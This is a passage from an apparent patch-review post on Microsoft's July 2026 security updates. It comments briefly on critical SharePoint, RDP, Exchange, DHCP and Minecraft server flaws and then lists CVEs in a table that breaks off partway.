Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  